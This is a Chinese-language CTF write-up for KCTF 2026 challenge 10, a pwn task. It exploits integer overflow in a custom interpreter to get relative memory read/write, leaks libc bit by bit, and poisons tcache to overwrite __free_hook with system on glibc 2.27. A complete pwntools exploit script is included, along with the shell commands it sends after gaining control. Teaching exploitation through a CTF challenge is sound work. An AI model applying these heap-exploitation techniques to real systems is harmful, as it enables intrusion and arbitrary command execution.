[原创] 第十题：卯时·曦光初现 wp by lzq2000-CTF对抗-看雪安全社区

# 看雪 KCTF 2026 第十题：卯时·曦光初现 wp by lzq2000

题目给了个 ELF `pwn`，再配一份 `libc-2.27.so`，远程是 `nc 123.57.66.184 10086`。保护拉满：Full RELRO、Canary、NX、PIE，libc 还是 2.27。跑起来就一个 `> `，整行读进去解析，语法不对打 `invalid syntax!`，执行出错打 `runtime error!`。

一开始以为是普通菜单堆题，IDA 打开才发现是个自己写的小解释器。后面整道题其实就一件事：**用解释器自己的对象标签和算术溢出，把任意相对读写做出来，再在 2.27 上把 `__free_hook` 写成 `system`。**

---

## 1、 这玩意儿到底在解析什么

`main` 在 `0x2d09`。开头把 stdin/stdout/stderr 都 `setvbuf(..., _IONBF)`，然后死循环：

```text
cin.getline(buf, 256)
把 buf 构造成 std::string
丢给 sub_2B14 做整行匹配
成功就拿 AST 去跑，失败就 invalid syntax!
```

有两个很烦、后面又很有用的细节：

1. **退出条件只看 eofbit（`rdstate & 2`）**，不看 failbit。所以塞 256 个 `A` 只会把 failbit 拉起来，程序继续狂打 `> `，别指望靠超长行退出。
2. **行长超过 15 就会走堆上的 `std::string::_M_construct`**，解析完再 `operator delete`。也就是说，任意一条 `>=16` 字节的非法行，析构时都会 `free(buf)`。后面劫持 `__free_hook` 全靠这个。

语法是整行正则对上才认，变量下标只能是 `0~255`。能用的语句大概就这几类：

```text
$N=数字
$N=[1,2,[3]]          # 嵌套数组
$N=$M
$N=$M[i][j]           # GetField，下标是字面量，可以很大
$N[i][j]=$M           # SetField
$N+$M / -$M / *$M / /$M / %$M / ^$M / |$M / &$M
                      # 结果写回左操作数
```

数字字面量走 `stoul`，变成 Number 对象时 **只留低 48 位**（`& 0xFFFFFFFFFFFF`）。BinOp 却 **不截断**。这俩不一致就是洞。

---

## 2、 对象怎么标、arena 怎么分

变量表在 BSS `unk_2062A0`，256 个 qword，存的是带标签的对象指针：

```text
变量表里的指针:  (0x1337 << 48) | ptr
```

真正的对象数据不在这个表里，而在一块 `new[](0x10000)` 的 bump arena 上：

| BSS | 含义 |
|---|---|
| `0x206AA0` | arena 基址 |
| `0x206AA8` | bump 指针 |
| `0x206AB0` | `/dev/urandom` 读出来的 8 字节 key |

分配函数是 `sub_31DC`：bump 往前走 `8 * nfields`，超过 `arena+0x10000` 就打印 OOM 然后 `exit(1)`。没有 GC，对象也不会回收。

对象头和字段都跟 key 异或：

```text
对象头:  key XOR (0xBEEF << 48 | nfields)
字段:    key XOR value
```

`sub_1EDA` 做 GetField / 按下标 skip 的时候，先把指针指向的 qword 跟 key 异或，高 16 位必须是 `0xBEEF`，低 48 位当 size。如果字段本身高 16 位也是 `0xBEEF`，就当成嵌套对象再往里 skip。GetField 取到一个 BEEF 头会直接 runtime error——后面漏 bit 就靠这个。

所以从解释器的视角看，**只要你能把某个字段写成 `key XOR (0xBEEF << 48 | size)`，再对它做 `$obj[0][K]`，就能相对这块假对象做任意远的读写。** 字面量造不出 `0xBEEF`，因为高 16 位被抹掉了；必须用 BinOp 把高位加回来。

---

## 3、 洞：算术溢出伪造 BEEF 对象

造法很干净：

```text
$0=281474976710655      # 0xFFFFFFFFFFFF，低 48 位全 1
$1=1
$0+$1                   # 溢出成 0x1000000000000，高位出来了
$2=48879                # 0xBEEF
$0*$2                   # 得到 0xBEEF << 48
$7=$0                   # 备份一份，后面 bit oracle 还要用
$3=65536
$0+$3                   # 0xBEEF << 48 | 65536
```

现在 `$0` 是一个「看起来有 65536 个字段的对象头」。再分配一个真正的小对象，把这个头种进去：

```text
$4=[0,0,0,0]
$4[0]=$0
```

之后 `$4[0][K]` 就会把 `$4[0]` 当成一个巨大对象，从它后面开始按 qword 往外爬。`K` 没有 256 的限制，字面量直接写 `7997`、`8066` 都行。

key 怎么拿？对象头后面第 0 个字段附近，往回/往旁边读到 arena 里别的 BEEF 头再异或回去就行。实际用的是：

```text
$5=$4[0][16]            # 读到一份跟 key 有关的值，后面当 XOR 垫片
```

读堆上任意 qword 的流程是：

```text
$10=$4[0][K]            # 取出 key XOR raw
$11=$10
$11^$5                  # 解开，得到 raw 的低 48 位（高 16 位仍没有，Number 会截断）
```

写的时候反过来：先把要写的值跟 `$5` 异或，再 `SetField`。

---

## 4、 远程堆长什么样

这步踩了挺久。本地和远程的 libc/IO 初始化不完全一样，**必须先分配 4 个 48 元数组当 bit oracle，再分配 `$4`**，后面那些 `K` 才对得上。

顺序固定成：

```text
$6=[1,1,...]   # 48 个 1
$8=...
$9=...
$18=...
$4=[0,0,0,0]
$4[0]=$0
```

种完 BEEF|65536 之后，相对 `$4[0][K]` 看过去，远程是这样：

| K | 含义 |
|---|---|
| 7994 | 下一 chunk 的 `prev_size`，0 |
| 7995 | chunk size，`0x231` |
| 7996 | 一块已经 `fclose` 过的 FILE，flags / tcache fd 是 0 |
| 7997 | `_IO_read_ptr`，值是 **heap** = `arena + 0x10010` |
| 8009 | `_IO_2_1_stderr_`，也就是 `libc+0x3ec680` |
| 8023 | 这块 FILE 的 vtable，`_IO_file_jumps` = `libc+0x3e82a0` |
| 8065 / 8069 / 8073 | 连续几个 `0x20` chunk 的 size（`0x21`） |
| 8066 / 8070 / 8074 | 这些 `0x20` chunk 的 tcache fd |

字段地址可以这么换算：

```text
arena      = (K=7997 读到的值) - 0x10010
$4[0] 物理 ≈ arena + 1576
字段 K     = arena + 1584 + 8*K
```

libc-2.27.so 里用到的偏移：

```text
system          0x4f420
__free_hook     0x3ed8e8
_IO_2_1_stderr_ 0x3ec680
_IO_file_jumps  0x3e82a0
_IO_wfile_jumps 0x3e7d60
```

Number AST 自己是 `operator new(0x10)`，落在 `0x20` 的 chunk 里：`+0` 是 vtable，`+8` 是 `stoul` 出来的值。这个布局后面毒 `__free_hook-8` 正好用得上。

---

## 5、 怎么把 qword 漏出来

解释器没有打印数字的语句，堆上的值只能间接看。GetField 碰到 BEEF 头会 runtime error，所以可以当 1-bit oracle：

1. 先用 `$4[0][K]` 取出目标，跟 key 解开，放到 `$11`
2. `$12=$11`，`$13=1<<bit`，`$12&$13`，`$12/$13`，这样 `$12` 变成 0 或 1
3. `$20=$7`（`$7` 是 `0xBEEF<<48`），`$20*$12`
   - bit=1 → `$20` 变成 BEEF 头
   - bit=0 → `$20` 还是 0
4. 把 `$20` 写进之前准备好的 48 元数组的某个字段，再 GetField 一次
   - 写进去的是 BEEF → `runtime error`
   - 写进去的是 0 → 没事

四个 48 元数组刚好够漏一个 48-bit 的 libc/heap 指针。高 16 位在用户态地址里本来就是 0，丢了也无所谓。

实际只漏了 `K=8023` 的 vtable：

```text
vtable = leak_qword(8023)
libc   = vtable - 0x3e82a0
system = libc + 0x4f420
```

---

## 6、 先走了两条死路

### House of Apple / 假 vtable FSOP

`K=7996` 那里躺着一块 `0x230` 的 FILE，vtable 还在，看起来特别像标准 FSOP 素材。顺着 `_IO_wfile_jumps` 去改 `wide_data`、`_mode`，再想办法触发 `exit` → `_IO_flush_all`。

不行。这块 FILE **已经被 fclose 掉了**，不在 `_IO_list_all` 上，flush 根本走不到它。2.27 还有 vtable 校验，乱指 `_IO_wfile_jumps` 也不一定过。OOM 的 `exit(1)` 倒是能触发，但没有 shell。

### 用 256 个 A 退出

前面说过了，`getline` 超长只置 failbit，循环看的是 eofbit。屏幕上会刷一堆 `> `，进程还活着。

这两条废掉之后，回头看那些 `0x20` tcache，路就清楚了。

---

## 7、 能打通的链：tcache poison `__free_hook`

2.27 的 tcache 没有 key 保护，fd 就是裸指针。远程在 `$4` 后面能看到一串 `0x20` chunk，其中 `K=8066` 是某个 `0x20` 的 fd。

利用步骤：

1. 算出 `hook8 = __free_hook - 8`
2. `$36 = key XOR hook8`
3. **只毒这一处**：`$4[0][8066]=$36`  
   这条指令正好 15 个字符，走 SSO，**不会在毒完之后立刻 malloc**，否则 tcache 链会被自己打乱
4. 发射 `$50=[1,{system}]`  
   - 外层数组、字符串、`Number(1)` 会先把 tcache 前面几个 `0x20` 消耗掉  
   - 下一个 `Number(system)` 就会分配到 `__free_hook-8`  
   - Number 的 `+8` 正好写成 `system`，也就是 `__free_hook = system`
5. 之后任意一条 **长度 ≥16** 的非法行，析构 `free(buf)` 就变成 `system(buf)`

有两个坑，不注意会以为没打上：

- **短命令走 SSO**。`echo PWNED`、`cat flag` 都不到 16 字节，`std::string` 不 `free` 堆缓冲，`system` 根本不会被调。必须 pad 到 16 以上，我这边统一 `ljust(20)`。
- **毒的位置和消耗数量要卡死**。远程能打通的组合是：只改 `K=8066`，数组写成 `$50=[1,system]`，前面只垫一个 `1`。

shell 起来之后发 `cat flag;echo` 就出 flag。

---

## 8、 完整 exp

远程一次连上就能跑完。bit oracle 要漏 48 次，会慢一点，但比本地调试稳。

```python
#!/usr/bin/env python3
from pwn import *
import time

context.arch = 'amd64'
context.log_level = 'info'

HOST = '123.57.66.184'
PORT = 10086
SYSTEM = 0x4f420
FILE_JUMPS = 0x3e82a0
FREE_HOOK = 0x3ed8e8
ORACLE = [(6, 48), (8, 48), (9, 48), (18, 48)]

def burst(r, cmds):
    r.send(b''.join((c if isinstance(c, bytes) else c.encode()) + b'\n' for c in cmds))

def setup(r):
    r.recvuntil(b'> ')
    ones = ','.join(['1'] * 48)
    burst(r, [
        '$0=281474976710655', '$1=1', '$0+$1',
        '$2=48879', '$0*$2', '$7=$0',
        '$3=65536', '$0+$3',
        f'$6=[{ones}]', f'$8=[{ones}]',
        f'$9=[{ones}]', f'$18=[{ones}]',
        '$4=[0,0,0,0]', '$4[0]=$0', '$5=$4[0][16]', 'SYNC',
    ])
    r.recvuntil(b'invalid syntax!')

def oracle_ref(f):
    base = 0
    for var, n in ORACLE:
        if f < base + n:
            return var, f - base
        base += n
    raise IndexError(f)

def leak_qword(r, k):
    burst(r, [f'$10=$4[0][{k}]', '$11=$10', '$11^$5', 'S1'])
    r.recvuntil(b'invalid syntax!')
    v, field = 0, 0
    for bit in range(48):
        var, idx = oracle_ref(field)
        burst(r, [
            '$12=$11', f'$13={1 << bit}', '$12&$13', '$12/$13',
            '$20=$7', '$20*$12', f'${var}[{idx}]=$20', f'$99=${var}[{idx}]', 'S2',
        ])
        data = r.recvuntil(b'invalid syntax!')
        if b'runtime error' in data:
            v |= 1 << bit
        field += 1
    return v

def cmd(r, s):
    burst(r, [s, 'X'])
    r.recvuntil(b'invalid syntax!')

def main():
    r = remote(HOST, PORT)
    setup(r)
    vt = leak_qword(r, 8023)
    libc = vt - FILE_JUMPS
    system = libc + SYSTEM
    hook8 = libc + FREE_HOOK - 8
    log.success(f'libc={libc:#x} system={system:#x}')

cmd(r, f'$35={hook8}')
    cmd(r, '$36=$5')
    cmd(r, '$36^$35')
    # 15 字节，SSO，毒完不会立刻 malloc
    burst(r, ['$4[0][8066]=$36', 'P'])
    r.recvuntil(b'invalid syntax!')

# Number(system) 落到 __free_hook-8，+8 写成 system
    burst(r, [f'$50=[1,{system}]'])
    sleep(0.3)

for s in [
        'echo PWNEDXXXX',
        'cat flag;echo',
        'cat flag.txt;echo',
        'ls -la /;echo',
        'ls -la;echo',
        'cat /flag;echo',
        'cat /home/ctf/flag;echo',
        'id;echo',
    ]:
        r.sendline(s.encode().ljust(20, b' '))
        sleep(0.15)

data = b''
    t = time.time()
    while time.time() - t < 6:
        try:
            c = r.recv(4096, timeout=0.4)
        except Exception:
            c = b''
        if c:
            data += c
            print(c.decode('latin1', errors='replace'), end='')
    print('\n==== FULL ====')
    print(data.decode('latin1', errors='replace'))
    r.close()

if __name__ == '__main__':
    main()
```

跑完能在输出里看到：

```text
flag{43af3ed3-d12b-48b9-9bf9-3998c1caa5bc}
```

---

## 9、 复盘和总结一下

这题的解释器其实写得很规矩：变量范围卡死、字面量截断、对象头带标签、GetField 还检查 BEEF。真正漏的是两处不一致——**BinOp 不截断**，以及 **GetField/SetField 的下标是裸字面量、不走变量范围检查**。两处叠在一起，标签系统就变成了相对任意读写。

利用上 2.27 还是老味道，tcache 没有 key，`__free_hook` 最好打。FSOP 看起来香，但这块 FILE 已经不在 `_IO_list_all` 里，白折腾一场。最后卡壳的反而都是 C++ 的小细节：SSO 15 字节、`getline` 只看 eofbit、`free(buf)` 必须先让 `std::string` 走上堆。

最终flag：
```text
flag{43af3ed3-d12b-48b9-9bf9-3998c1caa5bc}
```

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。